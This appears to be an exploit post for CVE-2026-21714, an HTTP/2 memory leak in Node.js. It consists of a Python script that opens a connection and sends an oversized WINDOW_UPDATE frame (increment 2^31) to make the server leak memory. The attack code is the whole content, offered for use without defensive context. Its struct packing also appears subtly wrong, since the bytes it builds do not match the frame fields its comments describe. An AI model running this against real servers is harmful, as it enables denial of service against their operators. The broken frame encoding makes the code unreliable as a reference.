CVE-2026-21714 Node.js HTTP/2 内存泄漏漏洞

import socket import struct # Target Node.js HTTP/2 Server HOST = '127.0.0.1' PORT = 8080 # HTTP/2 Connection Preface preface = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n' # Settings Frame (Empty ACK to establish connection) # Length: 0, Type: 4 (SETTINGS), Flags: 1 (ACK), Stream: 0 settings_ack = struct.pack('>HBBBL', 0, 4, 1, 0, 0) # WINDOW_UPDATE Frame on Stream 0 # Increment value that pushes window > 2^31 - 1 # Length: 4, Type: 8 (WINDOW_UPDATE), Flags: 0, Stream: 0 window_increment = 2**31 window_update_frame = struct.pack('>HBBBLI', 4, 8, 0, 0, window_increment) def send_exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(preface) s.send(settings_ack) # Send malicious WINDOW_UPDATE to trigger leak s.send(window_update_frame) print("[+] Malicious WINDOW_UPDATE sent. Check server memory usage.") s.close() if __name__ == "__main__": send_exploit()